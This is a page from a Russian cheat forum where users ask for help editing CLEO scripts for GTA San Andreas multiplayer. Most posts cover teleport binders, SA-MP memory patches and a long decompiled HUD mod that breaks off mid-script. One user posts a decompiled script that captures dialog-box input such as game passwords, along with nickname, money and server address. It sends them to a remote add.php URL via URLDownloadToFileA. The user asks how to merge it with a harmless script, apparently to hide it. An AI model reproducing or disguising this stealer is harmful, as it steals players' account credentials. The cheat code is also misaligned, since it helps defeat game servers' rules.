[CLEO] Помощь по редактированию скриптов - Страница 45 - Форум Cheat-Master.ru
Модератор форума: Alowir, Sanoxxx  
[CLEO] Помощь по редактированию скриптов
HenryTeylor Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 661
Новичок
Сообщений: 21
Статус: Offline
Цитата [CM]Chubacka ()
Научите делать Cleo))0


Справка SB позволить понять азы. Уроки на нашем сайте, и сторонних ресурсах. Есть желание - изучайте
[CM]Perez[CM] Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 662
Боец
Сообщений: 92
Статус: Offline
Короче решил сделать клео в котором при нажатии правого CTRL-a:
1.Эмулировалось нажатие кнопки B(Английская) (эта кнопка у меня разморозка в собейте )

2.Потом прописывался в чат /lock

Так вот почему-то не нажимается B.
Посмотрите код правильно ли я сделал?
Код
{$CLEO .cs}  
Thread "Binder"  
8AF7:   not get_samp_base_to 29@  
if  
        0AA2: 0@ = load_library "kernel32.dll" // IF and SET  
jf @error_load_kernel32

:2  
wait 400  
0AFA:  is_samp_structures_available   
jf @2  

:3  
wait 0  
if  
0ab0: key_pressed 0xA3  
jf @3   
wait 50
0DC6: emul_char_press 0x66 is_up true
wait 50  
0AF9: samp say_msg "/lock"  
jump @3


Если нужна помощь в поиске чего либо или просто помощь пиши в ЛС.Помогу чем нибудь.

ВК-- https://vk.com/id94548022

Мои достижения:
365 дней на CM [+]             200 репутации [+]           Пользователь [+]
500 дней на СМ [+]             500 репутации [+]            Клан CM [-]
1000 дней на CM [+]            1000 репутации [-]           Проверенный [-]
1500 дней на CM [-]            2000 репутации [-]           Админ-Совет [-] Это не скоро :D
[CM]Astap Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 663
Авторитет
Сообщений: 1238
Статус: Offline
Код
0B34: samp register_client_command "vvsm" to_label @ast
while true
wait 0
if
13@ == 1
then
0B2E: 30@ = read_samp_memory offset 0xB110 size 2
0B2D: write_samp_memory offset 0xB110 value 0xC390 size 2
Actor.StorePos($PLAYER_ACTOR, 1@, 2@, 3@)
Actor.PutAt($PLAYER_ACTOR, 401.4500 2541.0200 16.5500)
wait 500
0af9: "/primercomandi 6"
wait 500
Actor.PutAt($PLAYER_ACTOR, 1@, 2@, 3@)

Вот часть кода, тут короче, игрок должен ТПшится на корды, прописать команду и ТПшится обратно (на место активации) . Но почему то он просто ТПшится туда обратно. Команду не прописывает. В чем проблема?



Cheater CM - 03.10.14 - 09.01.15
Клан СМ - 09.01.15 - 01.03.15
Мл. Модератор - 01.03.15 - 25.06.15
Модератор - 25.06.15

HenryTeylor Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 664
Новичок
Сообщений: 21
Статус: Offline
Цитата [CM
Astap;2303997]Вот часть кода, тут короче, игрок должен ТПшится на корды, прописать команду и ТПшится обратно (на место активации) . Но почему то он просто ТПшится туда обратно. Команду не прописывает. В чем проблема?


Код
{$CLEO .cs}
0000:

thread "HenryTeylor"

if not 0@ = SAMP.Base()
then 0A93: end_custom_thread
end
while not SAMP.Available()
   wait 100
end

0B34: samp register_client_command "test" to_label @test

while true
wait 0
      if
      1@ == 1
      then
          if not Actor.Driving($PLAYER_ACTOR)
          then
              Actor.StorePos($PLAYER_ACTOR, 2@, 3@, 4@)
              Actor.PutAt($PLAYER_ACTOR, 401.45, 2541.02, 16.55)
              wait 500
              0af9: "/test"
              wait 500
              Actor.PutAt($PLAYER_ACTOR, 2@, 3@, 4@)
          else
              0af8: "Игрок в машине" 0xffffff
          end
      end
end

:test
1@ = 1
Samp.CmdRet()


Сообщение отредактировал HenryTeylor - Воскресенье, 21.09.2014, 17:29
[CM]Astap Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 665
Авторитет
Сообщений: 1238
Статус: Offline
HenryTeylor, теперь команда прописывается. Но теперь игрок бесконечно телепортируется на координаты.
Как сделать чтобы ТПшнутся один раз и обратно?



Cheater CM - 03.10.14 - 09.01.15
Клан СМ - 09.01.15 - 01.03.15
Мл. Модератор - 01.03.15 - 25.06.15
Модератор - 25.06.15



Сообщение отредактировал [CM]Astap - Воскресенье, 21.09.2014, 20:30
DubStep_ Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 666
{ }
Сообщений: 1406
Статус: Offline
[CM]Astap, добавь 1@ = 0 после строки
if
1@ == 1
then
[CM]Pawno Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 667
Боец
Сообщений: 121
Статус: Offline
dell

Изучаю: PHP,PAWN,Cleo

Сообщение отредактировал [CM]Pawno - Вторник, 23.09.2014, 14:33
Egork4 Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 668
Новичок
Сообщений: 4
Статус: Offline
Как можно взять текст из введенной команды? Ввожу "/cmd 5 6 текст", где 5 - id, 6 - расстояние, текст - введенный текст.
Код
scanstr 2@ 1@ "%d%d%d" 3@ 4@ 7@

id и длинна определяется правильно, но как выдернуть текст из строки и если возможно, то с пробелами. Сейчас показываются закорючки или вообще крашит.


Сообщение отредактировал Egork4 - Понедельник, 29.09.2014, 00:31
Kaban1998 Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 669
Новичок
Сообщений: 6
Статус: Offline
Как соединить два скрипта в один?
Кoт Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 670

Сообщений: 1074
Статус: Offline
Цитата Kaban1998 ()
Как соединить два скрипта в один?

Руками. Берешь копируешь и вставляешь.
Какой вопрос - такой ответ . Ты хотя бы показал эти клео...


Kaban1998 Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 671
Новичок
Сообщений: 6
Статус: Offline
Этот
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
thread 'NoName'

:NoName_11
not SAMP.Available
else_jump @NoName_31
wait 100
jump @NoName_11

:NoName_31
not SAMP.IsDialogActive(-1)
else_jump @NoName_53
wait 100
jump @NoName_31

:NoName_53
SAMP.IsDialogActive(-1)
else_jump @NoName_453
wait 0
0@ = SAMP.GetDialogID()
alloc 6@ 64

:NoName_80
wait 0
6@ = SAMP.GetDialogInputBoxText()
not SAMP.IsDialogActive(-1)
else_jump @NoName_80
alloc 1@ 24
2@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
1@ = SAMP.GetPlayerNickname(2@)
wait 500
2@ = Player.Money($PLAYER_CHAR)
alloc 3@ 15
SAMP.GetCurrentServerAddress(3@, 4@)
alloc 5@ 86
5@ = SAMP.GetCurrentServerName()
0C17: 10@ = strlen 6@
if
10@ > 1
else_jump @NoName_421
alloc 8@ 445
format 8@ "http:%c%сайт%папка%cadd.php?nick=%s&ip=%s:%d&serv=%s&dialog=%d&input=%s&mn=%d" 47 47 47 47 1@ 3@ 4@ 5@ 0@ 6@ 2@
0AA2: 9@ = load_library "urlmon.dll" // IF and SET
0AA4: 7@ = get_proc_address "URLDownloadToFileA" library 9@ // IF and SET
0AA5: call 7@ num_params 5 pop 0 0 0 "%TEMP%\2352sfe.tmp" 8@ 0
0AA3: free_library 9@
free 8@

:NoName_421
free 1@
free 3@
free 5@
free 6@
wait 500
jump @NoName_53

:NoName_453
0@ = 0
1@ = 0
2@ = 0
3@ = 0
4@ = 0
7@ = 0
5@ = 0
6@ = 0
8@ = 0
9@ = 0
10@ = 0
30@ = 0
31@ = 0
0A93: end_custom_thread
wait 0
2@ = 30

:NoName_557
wait 0
1@ = 0
32@ = 0

:NoName_575
wait 0
1@ += 1
03F0: enable_text_draw 1
0342: set_text_draw_centered 1
0340: set_text_draw_RGBA 180 180 180 255
045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 2@
if
32@ > 999
else_jump @NoName_575
03F0: enable_text_draw 1
0342: set_text_draw_centered 1
0340: set_text_draw_RGBA 180 180 180 255
045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 1@
0085: 2@ = 1@ // (int)
jump @NoName_55
И вот этот
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
wait 0
2@ = 30

:Noname_11
wait 0
1@ = 0
32@ = 0

:Noname_29
wait 0
1@ += 1
03F0: enable_text_draw 1
0342: set_text_draw_centered 1
0340: set_text_draw_RGBA 180 180 180 255
045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 2@
if
32@ > 999
else_jump @Noname_29
03F0: enable_text_draw 1
0342: set_text_draw_centered 1
0340: set_text_draw_RGBA 180 180 180 255
045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 1@
0085: 2@ = 1@ // (int)
goto @Noname_11


Сообщение отредактировал Kaban1998 - Среда, 08.10.2014, 04:20
Кoт Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 672

Сообщений: 1074
Статус: Offline
Таким не занимаемся

Kaban1998 Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 673
Новичок
Сообщений: 6
Статус: Offline
Можно ли сделать такой скрипт? Когда выстреливаешь 49 патронов на м4 и как остаётся 1 патрон, оружие прокручивается т.е нет перезарядки.
aritentd_228 Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 674
Боец
Сообщений: 81
Статус: Offline
Код
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0662: printstring "MOD NAME: C_HUD"  
0662: printstring "BY ANTHONY_MILLER"  
0004: $76 = 0  
0004: $78 = 0  
0004: $79 = 0  
0006: 18@ = 0  
0000: NOP  
0050: gosub @NONAME_4308  
0050: gosub @NONAME_4312  
0004: $MARKER_EMMETS_GUN = 52  
0004: $PICKUP_EMMETS_COLT45 = 93  
0004: $STAT_LUNG_CAPACITY = 0  

:NONAME_105
0001: wait 0 ms  
0050: gosub @NONAME_254  
0050: gosub @NONAME_309  
0050: gosub @NONAME_371  
00D6: if or
0038:   $76 == 1  
0038:   $78 == 1  
0038:   $79 == 1  
004D: jump_if_false @NONAME_173  
03F0: enable_text_draw 0  
0002: jump @NONAME_247  

:NONAME_173
03F0: enable_text_draw 1  
0050: gosub @NONAME_420  
0050: gosub @NONAME_791  
0050: gosub @NONAME_1161  
0050: gosub @NONAME_1412  
0050: gosub @NONAME_2139  
0050: gosub @NONAME_4070  
0050: gosub @NONAME_3167  
0050: gosub @NONAME_3233  
0050: gosub @NONAME_3738  
0050: gosub @NONAME_2546  

:NONAME_247
0002: jump @NONAME_105  

:NONAME_254
0A8D: $36 = read_memory 11989093 size 4 virtual_protect 0  
00D6: if  
0038:   $36 == 1  
004D: jump_if_false @NONAME_300  
0004: $76 = 1  
0002: jump @NONAME_307  

:NONAME_300
0004: $76 = 0  

:NONAME_307
0051: return  

:NONAME_309
0A8D: $77 = read_memory 9873356 size 4 virtual_protect 0  
00D6: if or
0038:   $77 == 1  
0038:   $77 == 2  
004D: jump_if_false @NONAME_362  
0004: $78 = 1  
0002: jump @NONAME_369  

:NONAME_362
0004: $78 = 0  

:NONAME_369
0051: return  

:NONAME_371
00D6: if  
06B9:   cutscene_data_loaded  
004D: jump_if_false @NONAME_411  
00D6: if  
82E9:   not cutscene_reached_end  
004D: jump_if_false @NONAME_404  
0004: $79 = 1  

:NONAME_404
0002: jump @NONAME_418  

:NONAME_411
0004: $79 = 0  

:NONAME_418
0051: return  

:NONAME_420
0050: gosub @NONAME_482  
00D6: if  
0019:   7@ > 0  
004D: jump_if_false @NONAME_480  
0050: gosub @NONAME_492  
0050: gosub @NONAME_511  
0050: gosub @NONAME_2756  
0050: gosub @NONAME_612  
0050: gosub @NONAME_687  

:NONAME_480
0051: return  

:NONAME_482
0226: 7@ = actor $PLAYER_ACTOR health  
0051: return  

:NONAME_492
0653: 8@ = float_stat 24  
0017: 8@ /= 5.69  
0051: return  

:NONAME_511
008D: 7@ = integer 7@ to_float  
0007: 1@ = 548.0  
0007: 2@ = 106.0  
00D6: if  
0025:   8@ > 7@ // (float)  
004D: jump_if_false @NONAME_610  
0007: 1@ = 608.0  
0073: 8@ /= 7@ // (float)  
0073: 2@ /= 8@ // (float)  
0087: 7@ = 2@ // (float)  
0017: 7@ /= 2.0  
0063: 1@ -= 7@ // (float)  

:NONAME_610
0051: return  

:NONAME_612
0004: $CUSTOM_TOURNAMENT_FLAG = 0  
00D6: if or
001D:   $120 > $CUSTOM_TOURNAMENT_FLAG // (int)  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_651  
0051: return  
0002: jump @NONAME_687  

:NONAME_651
03E3: set_texture_to_be_drawn_antialiased 1  
038E: draw_box_position 1@ 99999.0 size 2@ 7.0 RGBA 255 255 255 255  
0051: return  

:NONAME_687
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_711  
0051: return  
0002: jump @NONAME_791  

:NONAME_711
0226: 26@ = actor $PLAYER_ACTOR health  
0016: 26@ /= 1  
033F: set_text_draw_letter_size 0.4 1.1  
081C: draw_text_outline 1 RGBA 0 0 0 255  
0340: set_text_draw_RGBA 255 255 255 255  
045A: draw_text_1number 548.0 65.0 GXT 'NUMBER' number 26@  // ~1~
0051: return  

:NONAME_791
0050: gosub @NONAME_853  
00D6: if  
0019:   9@ > 0  
004D: jump_if_false @NONAME_851  
0050: gosub @NONAME_863  
0050: gosub @NONAME_881  
0050: gosub @NONAME_2819  
0050: gosub @NONAME_982  
0050: gosub @NONAME_1057  

:NONAME_851
0051: return  

:NONAME_853
04DD: 9@ = actor $PLAYER_ACTOR armour  
0051: return  

:NONAME_863
0945: get_player $PLAYER_CHAR max_armour_to 10@  
008D: 10@ = integer 10@ to_float  
0051: return  

:NONAME_881
008D: 9@ = integer 9@ to_float  
0007: 3@ = 548.0  
0007: 4@ = 106.0  
00D6: if  
0025:   10@ > 9@ // (float)  
004D: jump_if_false @NONAME_980  
0007: 3@ = 608.0  
0073: 10@ /= 9@ // (float)  
0073: 4@ /= 10@ // (float)  
0087: 9@ = 4@ // (float)  
0017: 9@ /= 2.0  
0063: 3@ -= 9@ // (float)  

:NONAME_980
0051: return  

:NONAME_982
0004: $CUSTOM_TOURNAMENT_FLAG = 0  
00D6: if or
001D:   $LSGYM_ICON > $CUSTOM_TOURNAMENT_FLAG // (int)  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_1021  
0051: return  
0002: jump @NONAME_1057  

:NONAME_1021
03E3: set_texture_to_be_drawn_antialiased 1  
038E: draw_box_position 3@ 99999.0 size 4@ 7.0 RGBA 171 171 171 190  
0051: return  

:NONAME_1057
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_1081  
0051: return  
0002: jump @NONAME_1161  

:NONAME_1081
04DD: 26@ = actor $PLAYER_ACTOR armour  
0016: 26@ /= 1  
033F: set_text_draw_letter_size 0.4 1.1  
081C: draw_text_outline 1 RGBA 0 0 0 255  
0340: set_text_draw_RGBA 171 171 171 255  
045A: draw_text_1number 566.0 51.0 GXT 'NUMBER' number 26@  // ~1~
0051: return  

:NONAME_1161
0050: gosub @NONAME_1221  
00D6: if and
0019:   11@ > 0  
0965:   actor $PLAYER_ACTOR swimming  
004D: jump_if_false @NONAME_1219  
0050: gosub @NONAME_1229  
0050: gosub @NONAME_1259  
0050: gosub @NONAME_2882  
0050: gosub @NONAME_1352  

:NONAME_1219
0051: return  

:NONAME_1221
0652: 11@ = integer_stat 4080  

:NONAME_1229
0653: 12@ = float_stat 225  
0013: 12@ *= 1.5  
000B: 12@ += 1150.0  
0051: return  

:NONAME_1259
0007: 5@ = 548.0  
0007: 6@ = 106.0  
00D6: if  
0025:   12@ > 11@ // (float)  
004D: jump_if_false @NONAME_1350  
0007: 5@ = 608.0  
0073: 12@ /= 11@ // (float)  
0073: 6@ /= 12@ // (float)  
0087: 11@ = 6@ // (float)  
0017: 11@ /= 2.0  
0063: 5@ -= 11@ // (float)  

:NONAME_1350
0051: return  

:NONAME_1352
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_1376  
0051: return  
0002: jump @NONAME_1412  

:NONAME_1376
03E3: set_texture_to_be_drawn_antialiased 1  
038E: draw_box_position 5@ 99999.0 size 6@ 7.0 RGBA 255 255 255 255  
0051: return  

:NONAME_1412
0050: gosub @NONAME_2086  
0050: gosub @NONAME_1639  
0050: gosub @NONAME_1780  
0050: gosub @NONAME_1940  
0050: gosub @NONAME_2044  
0050: gosub @NONAME_1456  
0051: return  

:NONAME_1456
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_1480  
0051: return  
0002: jump @NONAME_1489  

:NONAME_1480
0050: gosub @NONAME_1489  
0051: return  

:NONAME_1489
000A: 13@ += 1  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 13@ position 99999.0 33.0 size 55.0 55.0 RGBA 255 255 255 255  
00D6: if  
0039:   18@ == 1  
004D: jump_if_false @NONAME_1637  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 19@ position 99999.0 33.0 size 40.0 40.0 RGBA 150 150 150 150  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 20@ position 99999.0 33.0 size 40.0 40.0 RGBA 150 150 150 150  

:NONAME_1637
0051: return  

:NONAME_1639
00D6: if  
0039:   21@ == 0  
004D: jump_if_false @NONAME_1671  
0050: gosub @NONAME_2109  
000A: 15@ += 1  

:NONAME_1671
000E: 15@ -= 1  
00D6: if  
8019:   not  15@ > 0  
004D: jump_if_false @NONAME_1703  
0006: 15@ = 13  

:NONAME_1703
0050: gosub @NONAME_1921  
00D6: if or
0039:   15@ == 1  
8039:   not  24@ == -1  
004D: jump_if_false @NONAME_1764  
0085: 19@ = 23@ // (int)  
000A: 19@ += 1  
0006: 21@ = 0  
0002: jump @NONAME_1778  

:NONAME_1764
0006: 21@ = 1  
0002: jump @NONAME_1639  

:NONAME_1778
0051: return  

:NONAME_1780
00D6: if  
0039:   22@ == 0  
004D: jump_if_false @NONAME_1812  
0050: gosub @NONAME_2109  
000A: 15@ += 1  

:NONAME_1812
000A: 15@ += 1  
00D6: if  
0019:   15@ > 13  
004D: jump_if_false @NONAME_1844  
0006: 15@ = 1  

:NONAME_1844
0050: gosub @NONAME_1921  
00D6: if or
0039:   15@ == 1  
8039:   not  24@ == -1  
004D: jump_if_false @NONAME_1905  
0085: 20@ = 23@ // (int)  
000A: 20@ += 1  
0006: 22@ = 0  
0002: jump @NONAME_1919  

:NONAME_1905
0006: 22@ = 1  
0002: jump @NONAME_1780  

:NONAME_1919
0051: return  

:NONAME_1921
04B8: get_weapon_data_from_actor $PLAYER_ACTOR slot 15@ weapon 23@ ammo 14@ model 24@  
0051: return  

:NONAME_1940
0050: gosub @NONAME_2086  
0085: 0@ = 13@ // (int)  
0012: 0@ *= 112  
000A: 0@ += 13150904  
000A: 0@ += 32  
0A8D: 30@ = read_memory 0@ size 4 virtual_protect 0  
00D6: if  
0019:   30@ > 0  
004D: jump_if_false @NONAME_2042  
0050: gosub @NONAME_2096  
00D6: if  
0039:   14@ == 0  
004D: jump_if_false @NONAME_2042  
0555: remove_weapon 13@ from_actor $PLAYER_ACTOR  

:NONAME_2042
0051: return  

:NONAME_2044
00D6: if  
803B:   not  13@ == 23@ // (int)  
004D: jump_if_false @NONAME_2077  
0006: 18@ = 1  
0002: jump @NONAME_2084  

:NONAME_2077
0006: 18@ = 0  

:NONAME_2084
0051: return  

:NONAME_2086
0470: 13@ = actor $PLAYER_ACTOR current_weapon  
0051: return  

:NONAME_2096
041A: 14@ = actor $PLAYER_ACTOR weapon 13@ ammo  
0051: return  

:NONAME_2109
0A96: 0@ = actor $PLAYER_ACTOR struct  
000A: 0@ += 1816  
0A8D: 15@ = read_memory 0@ size 1 virtual_protect 0  
0051: return  

:NONAME_2139
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_2163  
0051: return  
0002: jump @NONAME_2179  

:NONAME_2163
0050: gosub @NONAME_2179  
0050: gosub @NONAME_2189  
0051: return  

:NONAME_2179
01C0: 25@ = player $PLAYER_CHAR wanted_level  
0051: return  

:NONAME_2189
00D6: if  
0019:   25@ > 0  
004D: jump_if_false @NONAME_2254  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220  
0050: gosub @NONAME_2945  

:NONAME_2254
00D6: if  
0019:   25@ > 1  
004D: jump_if_false @NONAME_2312  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220  

:NONAME_2312
00D6: if  
0019:   25@ > 2  
004D: jump_if_false @NONAME_2370  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220  

:NONAME_2370
00D6: if  
0019:   25@ > 3  
004D: jump_if_false @NONAME_2428  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220  

:NONAME_2428
00D6: if  
0019:   25@ > 4  
004D: jump_if_false @NONAME_2486  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220  

:NONAME_2486
00D6: if  
0019:   25@ > 5  
004D: jump_if_false @NONAME_2544  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220  

:NONAME_2544
0051: return  

:NONAME_2546
00D6: if  
00DF:   actor $PLAYER_ACTOR driving  
004D: jump_if_false @NONAME_2658  
03C0: 31@ = actor $PLAYER_ACTOR car  
0441: 0@ = car 31@ model  
000E: 0@ -= 400  
0012: 0@ *= 776  
000A: 0@ += 11662928  
000A: 0@ += 54  
0A8D: $5 = read_memory 0@ size 4 virtual_protect 0  
000A: 0@ += 4  
0A8D: $30 = read_memory 0@ size 3 virtual_protect 0  
0AB1: call_scm_func @NONAME_2660 2 $5 $30   

:NONAME_2658
0051: return  

:NONAME_2660
0050: gosub @NONAME_2672  
0AB2: ret 0  

:NONAME_2672
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_2696  
0051: return  
0002: jump @NONAME_2756  

:NONAME_2696
03E0: draw_text_behind_textures 1  
033F: set_text_draw_letter_size 0.5 1.6  
081C: draw_text_outline 2 RGBA 0 0 0 200  
0340: set_text_draw_RGBA 255 255 255 255  
033E: set_draw_text_position 99999.0 99999.0 GXT 0@s  
0051: return  

:NONAME_2756
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_2780  
0051: return  
0002: jump @NONAME_2819  

:NONAME_2780
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 49 position 99999.0 99999.0 size 108.0 9.0 RGBA 0 0 0 255  
0051: return  

:NONAME_2819
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_2843  
0051: return  
0002: jump @NONAME_2882  

:NONAME_2843
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 49 position 99999.0 99999.0 size 108.0 9.0 RGBA 0 0 0 255  
0051: return  

:NONAME_2882
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_2906  
0051: return  
0002: jump @NONAME_2945  

:NONAME_2906
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 49 position 99999.0 99999.0 size 108.0 9.0 RGBA 0 0 0 255  
0051: return  

:NONAME_2945
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_2969  
0051: return  
0002: jump @NONAME_3167  

:NONAME_2969
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60  
038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60  
038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60  
038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60  
038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60  
038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60  
0051: return  

:NONAME_3167
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_3191  
0051: return  
0002: jump @NONAME_3233  

:NONAME_3191
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture 51 position 99999.2 99999.5 size 137.0 113.0 RGBA 255 255 255 255  
0051: return  

:NONAME_3233
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_3257  
0051: return  
0002: jump @NONAME_3266  

:NONAME_3257
0050: gosub @NONAME_3266  
0051: return  

:NONAME_3266
0050: gosub @NONAME_2086  
00D6: if and
0019:   13@ > 21  
8039:   not  13@ == 34  
8039:   not  13@ == 35  
8039:   not  13@ == 36  
8039:   not  13@ == 39  
8039:   not  13@ == 40  
8019:   not  13@ > 43  
004D: jump_if_false @NONAME_3347  
0050: gosub @NONAME_3351  
0002: jump @NONAME_3349  

:NONAME_3347
0051: return  

:NONAME_3349
0051: return  

:NONAME_3351
00D6: if or
00DF:   actor $PLAYER_ACTOR driving  
0965:   actor $PLAYER_ACTOR swimming  
004D: jump_if_false @NONAME_3381  
0051: return  
0002: jump @NONAME_3388  

:NONAME_3381
0050: gosub @NONAME_3390  

:NONAME_3388
0051: return  

:NONAME_3390
00D6: if and
0AB0:   key_pressed 2  
0AB0:   key_pressed 49  
8818:   not actor $PLAYER_ACTOR in_air  
004D: jump_if_false @NONAME_3503  
0004: $MARKER_EMMETS_GUN = 52  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture $MARKER_EMMETS_GUN position 99999.1 99999.1 size 29.0 29.0 RGBA 0 0 0 255  
038D: draw_texture 53 position 99999.1 99999.1 size 25.0 25.0 RGBA 255 255 0 255  
0051: return  
0002: jump @NONAME_3512  

:NONAME_3503
0050: gosub @NONAME_3512  
0051: return  

:NONAME_3512
00D6: if and
0AB0:   key_pressed 2  
0AB0:   key_pressed 50  
8818:   not actor $PLAYER_ACTOR in_air  
004D: jump_if_false @NONAME_3628  
0004: $MARKER_EMMETS_GUN = 90  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture $MARKER_EMMETS_GUN position 99999.1 99999.1 size 29.0 29.0 RGBA 255 255 255 255  
038D: draw_texture 53 position 99999.1 99999.1 size 25.0 25.0 RGBA 255 255 0 255  
0051: return  
0002: jump @NONAME_3635  

:NONAME_3628
0050: gosub @NONAME_3635  

:NONAME_3635
00D6: if  
8818:   not actor $PLAYER_ACTOR in_air  
004D: jump_if_false @NONAME_3736  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture $MARKER_EMMETS_GUN position 99999.1 99999.1 size 29.0 29.0 RGBA 255 255 255 255  
038D: draw_texture 53 position 99999.1 99999.1 size 25.0 25.0 RGBA 255 255 0 255  
0051: return  
0002: jump @NONAME_3738  

:NONAME_3736
0051: return  

:NONAME_3738
0050: gosub @NONAME_2086  
00D6: if  
0039:   13@ == 34  
004D: jump_if_false @NONAME_3777  
0050: gosub @NONAME_3781  
0002: jump @NONAME_3779  

:NONAME_3777
0051: return  

:NONAME_3779
0051: return  

:NONAME_3781
00D6: if or
00DF:   actor $PLAYER_ACTOR driving  
0965:   actor $PLAYER_ACTOR swimming  
004D: jump_if_false @NONAME_3811  
0051: return  
0002: jump @NONAME_3818  

:NONAME_3811
0050: gosub @NONAME_3818  

:NONAME_3818
00D6: if and
0AB0:   key_pressed 2  
0AB0:   key_pressed 49  
8818:   not actor $PLAYER_ACTOR in_air  
004D: jump_if_false @NONAME_3899  
0004: $PICKUP_EMMETS_COLT45 = 93  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture $PICKUP_EMMETS_COLT45 position 99999.6 99999.0 size 650.0 455.47 RGBA 255 255 255 255  
0051: return  
0002: jump @NONAME_3908  

:NONAME_3899
0050: gosub @NONAME_3908  
0051: return  

:NONAME_3908
00D6: if and
0AB0:   key_pressed 2  
0AB0:   key_pressed 50  
8818:   not actor $PLAYER_ACTOR in_air  
004D: jump_if_false @NONAME_3989  
0004: $PICKUP_EMMETS_COLT45 = 94  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture $PICKUP_EMMETS_COLT45 position 99999.6 99999.0 size 650.0 455.47 RGBA 255 255 255 255  
0051: return  
0002: jump @NONAME_3998  

:NONAME_3989
0050: gosub @NONAME_3998  
0051: return  

:NONAME_3998
00D6: if and
8818:   not actor $PLAYER_ACTOR in_air  
0AB0:   key_pressed 2  
004D: jump_if_false @NONAME_4068  
03E3: set_texture_to_be_drawn_antialiased 1  
038D: draw_texture $PICKUP_EMMETS_COLT45 position 99999.6 99999.0 size 650.0 455.47 RGBA 255 255 255 255  
0051: return  
0002: jump @NONAME_4070  

:NONAME_4068
0051: return  

:NONAME_4070
00D6: if  
0AB0:   key_pressed 121  
004D: jump_if_false @NONAME_4094  
0051: return  
0002: jump @NONAME_4103  

:NONAME_4094
0050: gosub @NONAME_4103  
0051: return  

:NONAME_4103
00BF: 27@ = current_time_hours, 28@ = current_time_minutes  
00D6: if  
001B:   10 > 28@  
004D: jump_if_false @NONAME_4143  
0050: gosub @NONAME_4152  
0002: jump @NONAME_4150  

:NONAME_4143
0050: gosub @NONAME_4228  

:NONAME_4150
0051: return  

:NONAME_4152
03E0: draw_text_behind_textures 1  
033F: set_text_draw_letter_size 0.45 1.3  
03E4: set_text_draw_align_right 1  
081C: draw_text_outline 1 RGBA 0 0 0 200  
0340: set_text_draw_RGBA 255 255 255 220  
